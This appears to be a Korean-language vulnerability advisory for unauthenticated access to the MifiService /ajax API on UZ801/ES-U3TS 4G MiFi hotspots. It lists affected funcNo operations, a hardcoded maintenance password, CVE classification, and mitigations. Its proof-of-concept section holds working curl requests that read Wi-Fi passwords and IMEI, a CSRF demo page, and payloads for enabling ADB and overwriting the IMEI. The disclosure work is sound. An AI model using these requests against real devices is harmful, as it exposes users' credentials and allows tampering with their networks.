
# UZ801/ES-U3TS MifiService 웹 API의 손상된 접근 제어 보안 권고 UZ801/ES-U3TS MifiService 웹 API의 손상된 접근 제어를 상세히 설명하는 보안 권고로, 인증 없이 데이터 추출, 구성 수정, 장치 재부팅이 가능합니다. PoC 및 완화 조치를 포함합니다.
OEM / 화이트 라벨 UZ801_v2.1 4G LTE 모바일 Wi-Fi 플랫폼(시장에서는 ES-U3TS로도 판매 확인됨)의 MifiService.apk가 노출하는 임베디드 웹 관리 API의 취약한 접근 제어 문제에 대한 보안 권고 및 기술 노트입니다.
이 저장소는 조율된 공개(coordinated disclosure) 및 CVE 할당을 지원하기 위한 것입니다. 재현 가능하고 비무기화된 기술 증거에 중점을 둡니다.
영향을 받는 장치는 다음 주소에서 Jetty 기반 HTTP 관리 엔드포인트를 노출합니다:
http://192.168.100.1/ajax
백엔드 요청 디스패처는 다음에 구현되어 있습니다:
com.mifiservice.server.AjaxSevlet
웹 UI는 로그인 페이지를 표시하지만, 백엔드는 대부분의 관리 기능에 대해 유효한 인증된 서버 측 세션을 강제하지 않습니다. 결과적으로 인접 네트워크의 공격자는 인증 없이 민감한 funcNo 작업을 직접 호출할 수 있습니다.
검증된 영향은 다음과 같습니다:
정적 분석을 통해 추가 고위험 기능이 확인되었습니다:
테스트된 하드웨어는 OEM / 화이트 라벨 장치 제품군에 속하는 것으로 보입니다. 정확한 원래 개발 벤더는 현재 알려져 있지 않으며, 신뢰할 수 있는 벤더 보안 연락처도 현재까지 확인되지 않았습니다.
따라서 본 권고는 다음 제품 명명을 사용합니다:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.hello동일한 펌웨어, APK, 웹 자산 및 funcNo 동작을 제공하는 추가 브랜드 또는 리셀러가 발견되면 동일한 코드베이스의 영향을 받는 변형으로 간주해야 합니다.
/ajax 웹 API 엔드포인트MifiService.apkcom.mifiservice.server.AjaxSevlet이는 주로 기본 자격 증명 문제가 아닙니다.
근본 원인은 백엔드 API의 취약한 접근 제어입니다:
Origin 검증이 없음Referer 검증이 없음로그인 기능은 존재하지만, 관리 API의 대부분에 대해 의미 있는 권한 부여 경계를 제공하지 않습니다.
주요 공격 벡터:
보조 공격 벡터:
기본적으로 인터넷에 노출된 원격 공격은 아닙니다. 공격자는 다음 중 하나를 수행해야 합니다:
192.168.100.1에 대한 직접적인 Layer 2 / Layer 3 연결성을 가지거나아래의 모든 발견 사항은 동일한 취약한 접근 제어 문제의 영향받는 기능으로 포함됩니다.
해당되는 경우 각 항목은 다음 중 하나로 명시적으로 표시됩니다:
라이브 검증됨정적 분석으로 확인됨이 구분은 정확성을 위해 유지됩니다. 고위험 기능은 공개 하드웨어에서 의도적으로 실행되지 않은 경우 라이브 테스트로 잘못 표시되지 않습니다.
| funcNo | 설명 | 상태 | 비고 |
|---|---|---|---|
1002 | SSID, 장치 IP, DNS, Wi-Fi 비밀번호 읽기 | 라이브 검증됨 | Wi-Fi 비밀번호를 평문으로 반환 |
1009 | Wi-Fi 암호화 모드 및 비밀번호 읽기 | 라이브 검증됨 | Wi-Fi 비밀번호를 평문으로 반환 |
1011 | DHCP 범위, DNS, 클라이언트 목록 읽기 | 라이브 검증됨 | 로컬 정찰에 유용 |
1015 | SIM 상태 읽기 | 라이브 검증됨 | SIM 상태 반환 |
1029 | IMEI, 펌웨어, 제조사, 신호 정보 읽기 | 라이브 검증됨 | 민감한 장치 식별 정보 반환 |
1052 | MAC 필터 모드 및 구성된 항목 읽기 | 라이브 검증됨 | 정책 및 구성된 슬롯 유출 |
2002 | 활성 SIM 슬롯 읽기 | 라이브 검증됨 | 런타임 상태 노출 |
| funcNo | 설명 | 상태 | 비고 |
|---|---|---|---|
1004 | 연결 모드 변경 | 정적 분석으로 확인됨 | 세션 강제 미적용 관찰됨 |
1005 | 선호 네트워크 모드 변경 | 정적 분석으로 확인됨 | 높은 운영 영향 |
1007 | SSID / 최대 스테이션 수 변경 | 정적 분석으로 확인됨 | 구성 저장 및 AP 로직 재시작 |
1010 | Wi-Fi 암호화 모드 / 비밀번호 변경 | 정적 분석으로 확인됨 | 높은 기밀성 영향 |
1012 | DHCP/DNS 관련 설정 변경 | 정적 분석으로 확인됨 | 로컬 네트워크 변조 |
1016/1017/1018 | APN 프로필 읽기 / 설정 / 전환 | 정적 분석으로 확인됨 | WAN 동작 수정 |
1031 | 언어 변경 및 저장 | 라이브 검증됨 | 쓰기 접근의 저위험 증명으로 사용 |
1053/1054/1055 | MAC 필터 동작 및 항목 변경 | 정적 분석으로 확인됨 | 네트워크 접근 제어 변조 |
| funcNo | 설명 | 상태 | 비고 |
|---|---|---|---|
1013 | 장치 재부팅 | 라이브 검증됨 | DoS / 서비스 중단 |
1014 | 앱/네트워크 구성 재설정 및 재부팅 | 라이브 검증됨 | 전체 Android 사용자 데이터 삭제는 아님 |
2000 | 부트로더로 재부팅 | 라이브 검증됨 | 높은 운영 영향 |
2001 | 숨겨진 ADB/Diag USB 구성 활성화 및 재부팅 | 정적 분석으로 확인됨 | 위험한 유지보수 경로 |
| funcNo | 설명 | 상태 | 비고 |
|---|---|---|---|
2003 | 숨겨진 유지보수 비밀번호 경로 | 정적 분석으로 확인됨 | 하드코딩된 admin8888 사용; 동작이 부분적 / 잔여로 보임 |
2004 | IMEI 덮어쓰기 | 정적 분석으로 확인됨 | AT 명령 경로 호출; 공개적으로 실행되지 않음 |
작성 시점 기준으로 이 장치는 브랜드가 없거나 일관되지 않은 OEM / 리셀러 채널을 통해 판매되는 것으로 보이며, 신뢰할 수 있는 원래 개발 벤더 연락처가 확인되지 않았습니다.
아래 예제는 의도적으로 읽기 전용 또는 저영향 검증으로 제한됩니다. 무기화된 악용 워크플로우를 제공하지 않고 취약점을 입증하기 위해 포함되었습니다.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
예상 동작:
ssid 포함pwd를 평문으로 포함curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
예상 동작:
imei 포함fwversion 포함현재 언어 읽기:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
언어 설정:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
이후 원래 값으로 복원합니다.
이 엔드포인트는 세션 상태 또는 Origin / Referer 검증을 강제하지 않습니다. 따라서 연결된 피해자 브라우저를 남용하여 백그라운드 요청을 보낼 수 있습니다.
최소 데모 페이지:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
이 예제는 의도적으로 읽기 전용 기능 번호로 제한됩니다. 사용자 또는 프로덕션 장치에 배포하지 마십시오.
다음 JSON 형식은 방어적 분석 및 분류 목적으로만 문서화됩니다. 여기에는 실행 단계가 포함되지 않습니다.
2001 - 숨겨진 디버그 인터페이스 활성화{"funcNo":2001}
코드에서 관찰된 동작:
setprop persist.sys.usb.config rndis,serial_smd,diag,adb 실행sync 실행2004 - IMEI 덮어쓰기 경로{"funcNo":2004,"imei":"<redacted-test-value>"}
코드에서 관찰된 동작:
AT+WRIMEI=<value>에 해당하는 경로 호출법적, 규정 준수 및 장치 무결성 문제로 인해 공개 라이브 테스트는 여기에 포함되지 않습니다.
1002에 대한 인증 없는 응답 예시{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029에 대한 인증 없는 응답 예시{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
이 문제는 다음과 같은 이유로 강력한 CVE 후보입니다:
제안된 분류:
CWE-306 중요 기능에 대한 인증 누락CWE-862 권한 부여 누락제안된 CVSS:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo 요청 거부Origin 및 Referer 검증이 저장소는 방어적 연구, 취약점 공개 및 조정을 위한 것입니다. 공개 예제는 의도적으로 저위험 검증으로 제한됩니다. 고위험 기능은 수정 및 CVE 분류에 필요한 범위까지만 문서화됩니다.